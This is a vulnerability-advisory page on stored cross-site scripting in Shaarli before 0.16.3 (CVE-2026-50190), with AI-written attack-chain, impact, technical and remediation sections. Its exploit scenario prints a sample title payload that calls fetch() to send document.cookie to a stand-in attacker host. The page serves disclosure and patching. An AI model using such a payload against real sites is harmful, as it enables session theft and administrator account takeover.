Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker crafts webpage with XSS payload in HTML title
-
DeliverySocial-engineer admin into bookmarking attacker URL
-
ExploitMetadata fetcher stores raw title as bookmark record
-
InstallAdmin or visitor loads /shaare/{hash} permalink
-
C2Injected script executes in Shaarli origin
-
ExecuteSession token exfiltrated to attacker
-
ImpactFull administrator account takeover achieved
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Two sequential conditions must be met. First, a Shaarli administrator must bookmark an attacker-controlled URL while the application's metadata fetcher is active; the fetcher is part of the default bookmarking flow and operates automatically without prompting the administrator. Second, any visitor - including the administrator on first save - must load the stored permalink at /shaare/{hash}, which triggers execution of the injected script. Once the payload is stored, no further attacker interaction is required. Factors limiting exploitation are: the need to social-engineer a specific administrator into bookmarking a particular URL; and, if the Shaarli instance is configured to require authentication for all page views, the pool of affected visitors is reduced to registered users rather than the open internet. The attacker requires no credentials, no existing account on the Shaarli instance, and no server-level access whatsoever. |
| Impact | The CVSS 4.0 score of 8.6 with vector AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L accurately captures the real-world risk profile. The attack requires zero attacker privileges and minimal technical sophistication; the UI:A designation correctly identifies that an administrator must actively bookmark the attacker's URL - this is the sole prerequisite before payload storage. Once planted, however, every subsequent visitor to the permalink is silently compromised with no further attacker interaction, and the administrator session-hijacking path elevates severity well beyond a typical reflected XSS. The high Confidentiality and Integrity ratings are well-grounded: full session compromise means complete ownership of the Shaarli instance. No public exploit code has been identified and the vulnerability is absent from CISA KEV, making large-scale automated exploitation unlikely at this time; however, the attack chain is simple enough that targeted attacks against known Shaarli administrators require only basic social engineering. The sole meaningful control limiting exploitation is the single social-engineering step required to get an admin to bookmark the malicious URL, and any team running Shaarli - even a small self-hosted deployment - should treat this as an urgent patch given how low the exploitation bar is once that condition is met. The VA:L rating for minor availability impact is secondary and attributable to potential JavaScript-driven page disruption. |
| Exploit ScenarioDerived | An attacker publishes a webpage whose HTML <title> contains a crafted payload such as </title><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>, then shares the URL with a Shaarli administrator under a plausible pretext (e.g., a relevant article or resource). When the administrator bookmarks the URL, the metadata fetcher silently copies the malicious title verbatim into the stored bookmark record. From that point forward, every visitor who loads the permalink at /shaare/{hash} - including the administrator on the initial save - executes the injected script in the Shaarli origin, delivering session tokens to the attacker with no further interaction required. No public exploit code has been identified, but the attack requires only a functioning web server and a single social engineering interaction. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 20, 2026
Stored XSS in Shaarli versions prior to 0.16.3 enables administrator account takeover through a low-effort social engineering chain requiring only that an administrator bookmark an attacker-controlled URL. The permalink handler in BookmarkListController.php writes raw bookmark titles into the HTML <title> element without HTML escaping, and Shaarli's built-in metadata fetcher copies remote page titles verbatim - meaning an attacker who controls a webpage's title silently plants a persistent payload the moment any admin bookmarks that URL. The injected script then executes in the Shaarli origin for every subsequent visitor to the permalink, including the administrator on first save, creating a one-shot session-hijacking path; no public exploit has been identified at time of analysis.
RemediationAI
Upgrade Shaarli to version 0.16.3, which resolves the issue by applying proper HTML escaping to bookmark titles before they are rendered into the HTML <title> element. The authoritative fix is documented in the GitHub security advisory at https://github.com/shaarli/Shaarli/security/advisories/GHSA-xm98-h5jj-64xv. For operators who cannot immediately upgrade, the most effective compensating control is to disable or restrict Shaarli's automatic metadata fetcher so that remote page titles are not imported without administrator review - this eliminates the silent planting vector, though titles manually entered from untrusted sources would still be at risk. A secondary control is restricting instance access to authenticated users only, which limits the blast radius of any stored payload to registered users rather than all anonymous visitors. Neither workaround eliminates the underlying encoding flaw; upgrading to 0.16.3 is the only definitive remediation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Shaarli is a PHP-based self-hosted personal bookmarking service using the RainTPL templating engine. The root cause (CWE-79 - Improper Neutralization of Input During Web Page Generation) is in the permalink handler within application/front/controller/visitor/BookmarkListController.php, which assigns the raw return value of $bookmark->getTitle() to the pagetitle template variable. RainTPL then emits this variable directly into the document's <title> element without applying HTML entity encoding, so a title containing </title><script>...</script> closes the title tag prematurely and injects executable JavaScript into the rendered page. The vulnerability is critically amplified by Shaarli's metadata fetcher, which automatically retrieves and stores the <title> content of any bookmarked URL with no sanitization step, making the remote page title a silent and automatic storage vector. Affected versions cover all Shaarli releases before 0.16.3, identified by CPE cpe:2.3:a:shaarli:shaarli:*:*:*:*:*:*:*:*.
Know when Shaarli gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
Network-delivered stored XSS requires no attacker privileges (PR:N) but requires admin UI interaction to plant the payload (UI:R); scope changes (S:C) because the stored payload fires for all subsequent visitors beyond the bookmarking administrator.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
Shaarli is a personal bookmarking service. Versions prior to 0.16.3 are vulnerable to stored XSS in application/front/controller/visitor/BookmarkListController.php. The permalink handler concatenates the raw $bookmark->getTitle() into the pagetitle template variable and the RainTPL template emits it into the document <title> element without HTML escaping. A bookmark title containing </title><script>...</script> closes the document title early and the injected script executes in the Shaarli origin for any visitor of /shaare/{hash}. Shaarli's metadata fetcher copies a remote page's <title> text verbatim into the local bookmark title, so an attacker who hosts an attacker-controlled URL and convinces an administrator to bookmark it plants the payload with no further interaction - and the resulting permalink fires for every visitor including the administrator on first save, providing a one-shot administrator account takeover. Version 0.16.3 fixes the issue.
Executive ViewAI
Shaarli, the open-source bookmark management system, contains a stored cross-site scripting vulnerability (CVE-2026-50190, CVSS 8.6) that allows attackers to compromise administrator accounts through a single social engineering action-tricking an admin into bookmarking a malicious link. Once exploited, attackers gain full administrative access to the system, potentially exposing sensitive bookmarked content and compromising the integrity of the bookmarking platform for all users.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Reflected Cross Site Scripting (XSS) vulnerability in Shaarli v0.12.2, allows remote attackers to execute arbitrary code
Stored XSS in Shaarli versions before 0.16.0 allows authenticated attackers to inject malicious HTML by crafting tags st
Reflected XSS vulnerability in Shaarli v0.9.1 allows an unauthenticated attacker to inject JavaScript via the searchtags
Cross-site scripting (XSS) vulnerability in Shaarli before 0.8.5 and 0.9.x before 0.9.3 allows remote attackers to injec
DOM-based XSS in Shaarli's Thumbnail Synchronizer allows stored malicious bookmark titles to execute arbitrary JavaScrip
Stored XSS in Shaarli's Markdown rendering pipeline (versions 0.16.1 and prior) allows an authenticated user to inject m
Server-side request forgery (SSRF) in Shaarli up to 0.16.3 allows an attacker who can reach the admin-only MetadataContr
Stored XSS in Shaarli's tag filtering functionality permits an authenticated user to inject persistent JavaScript payloa
EUVD-2026-63551
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB